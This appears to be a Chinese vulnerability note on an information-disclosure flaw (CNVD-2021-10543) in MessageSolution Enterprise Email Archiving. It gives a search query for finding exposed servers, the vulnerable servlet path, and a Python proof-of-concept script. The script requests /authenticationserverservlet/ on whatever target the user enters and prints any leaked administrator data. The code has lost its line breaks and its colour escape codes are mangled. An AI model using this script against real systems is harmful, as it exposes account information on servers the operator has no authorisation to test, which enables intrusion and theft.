MessageSolution 邮件归档系统EEA 信息泄露漏洞 CNVD-2021-10543

title="MessageSolution Enterprise Email Archiving (EEA)"

http://xxx.xxx.xxx.xxx/authenticationserverservlet/

@Henry4E36 师傅的POC Github里 https://github.com/Henry4E36/CNVD-2021-10543              

import requestsimport sysimport randomimport refrom requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():    print('+------------------------------------------')    print('+  33[34mPOC_Des: http://wiki.peiqi.tech                                   33[0m')    print('+  33[34mGithub : https://github.com/PeiQi0                                 33[0m')    print('+  33[34m公众号  : PeiQi文库                                                   33[0m')    print('+  33[34mVersion: MessageSolution 企业邮件归档管理系统EEA                         33[0m')    print('+  33[36m使用格式:  python3 poc.py                                            33[0m')    print('+  33[36mUrl         >>> http://xxx.xxx.xxx.xxx                             33[0m')    print('+------------------------------------------')

def POC_1(target_url):    vuln_url = target_url + "/authenticationserverservlet/"    headers = {        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",    }    try:        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)        if response.status_code == 200 and "administrator" in response.text:            print("33[32m[o] 目标 {} 存在信息泄露 响应为:{}33[0m".format(target_url, response.text))        else:            print("33[31m[x] 目标 {}不存在漏洞 33[0m".format(target_url))    except Exception as e:        print("33[31m[x] 目标 {} 请求失败 33[0m".format(target_url))



if __name__ == "__main__":    title()    target_url = str(input("33[35mPlease input Attack UrlnUrl >>> 33[0m"))    POC_1(target_url)